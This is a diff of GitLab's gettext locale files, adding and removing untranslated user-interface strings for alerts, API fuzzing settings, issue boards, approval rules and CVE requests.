msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34402,7 +35229,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34417,9 +35244,6 @@ msgstr ""
msgid "You need permission."
msgstr ""
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34603,12 +35427,18 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -34729,6 +35559,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -34822,7 +35655,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -34929,6 +35762,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35231,6 +36067,15 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35415,6 +36260,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr ""
@@ -35585,7 +36433,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35620,13 +36468,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -35740,9 +36585,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -35893,18 +36735,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr ""
-msgid "mrWidget|command line"
-msgstr ""
-
msgid "mrWidget|into"
msgstr ""
@@ -35935,9 +36771,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -36004,15 +36837,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -36290,9 +37114,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -36338,6 +37159,12 @@ msgstr ""
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/sk_SK/gitlab.po b/locale/sk_SK/gitlab.po
index 98d71c1e878..2a2724965b9 100644
--- a/locale/sk_SK/gitlab.po
+++ b/locale/sk_SK/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: sk\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:57\n"
+"PO-Revision-Date: 2021-04-02 00:19\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -140,6 +140,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -255,6 +262,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] ""
@@ -510,6 +524,9 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -522,6 +539,13 @@ msgstr ""
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -550,23 +574,9 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
msgid "%{count} more"
msgstr ""
@@ -665,7 +675,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -1082,6 +1092,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr ""
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1219,6 +1232,9 @@ msgstr[3] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1313,6 +1329,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1341,6 +1364,20 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] ""
@@ -1355,6 +1392,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] ""
@@ -1390,6 +1434,20 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "1-9 contributions"
msgstr ""
@@ -1507,9 +1565,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1519,13 +1574,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1600,9 +1652,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr ""
@@ -1621,13 +1670,25 @@ msgstr ""
msgid "API Token"
msgstr ""
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "API version"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|$VariableWithPassword"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithUsername"
+msgstr ""
+
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1639,6 +1700,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1651,16 +1715,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1669,16 +1736,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1711,9 +1778,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1891,6 +1955,9 @@ msgstr ""
msgid "Account: %{account}"
msgstr ""
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1921,13 +1988,6 @@ msgstr ""
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1973,6 +2033,9 @@ msgstr ""
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr ""
@@ -2048,6 +2111,9 @@ msgstr ""
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2075,9 +2141,6 @@ msgstr ""
msgid "Add image comment"
msgstr ""
-msgid "Add issues"
-msgstr ""
-
msgid "Add italic text"
msgstr ""
@@ -2105,6 +2168,9 @@ msgstr ""
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr ""
@@ -2123,6 +2189,9 @@ msgstr ""
msgid "Add to Slack"
msgstr ""
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr ""
@@ -2216,6 +2285,9 @@ msgstr ""
msgid "Additional text"
msgstr ""
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr ""
@@ -2243,6 +2315,9 @@ msgstr ""
msgid "Admin Area"
msgstr ""
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2384,9 +2459,6 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr ""
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
@@ -2822,6 +2894,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2871,6 +2949,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3033,6 +3114,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -3048,13 +3135,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -3063,25 +3153,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -3096,24 +3189,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -3123,6 +3228,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -3132,9 +3240,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -3171,7 +3276,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3261,9 +3369,6 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3327,6 +3432,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3354,6 +3462,9 @@ msgstr ""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3411,6 +3522,9 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3534,6 +3648,9 @@ msgstr ""
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr ""
@@ -3546,9 +3663,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr ""
@@ -3639,7 +3753,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3777,9 +3891,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr ""
-
msgid "An issue title is required"
msgstr ""
@@ -3981,6 +4092,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -4012,6 +4126,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -4021,6 +4138,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -4030,9 +4150,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4172,6 +4289,12 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr ""
@@ -4232,6 +4355,12 @@ msgstr ""
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr ""
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr ""
@@ -4274,13 +4403,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4711,6 +4840,9 @@ msgstr ""
msgid "Average per day: %{average}"
msgstr ""
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -4813,6 +4945,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -4831,6 +4966,9 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr ""
@@ -4855,7 +4993,7 @@ msgstr ""
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -4991,6 +5129,9 @@ msgstr[3] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -5021,6 +5162,13 @@ msgstr ""
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5030,9 +5178,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -5051,6 +5196,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -5060,6 +5208,13 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Boards|Board"
msgstr ""
@@ -5072,6 +5227,15 @@ msgstr ""
msgid "Boards|Expand"
msgstr ""
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr ""
@@ -5102,6 +5266,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5408,15 +5575,6 @@ msgstr ""
msgid "CHANGELOG"
msgstr ""
-msgid "CI / CD"
-msgstr ""
-
-msgid "CI / CD Analytics"
-msgstr ""
-
-msgid "CI / CD Settings"
-msgstr ""
-
msgid "CI Lint"
msgstr ""
@@ -5435,6 +5593,12 @@ msgstr ""
msgid "CI/CD"
msgstr ""
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr ""
@@ -5526,6 +5690,27 @@ msgstr ""
msgid "CPU"
msgstr ""
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5622,6 +5807,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr ""
@@ -5742,6 +5930,9 @@ msgstr ""
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr ""
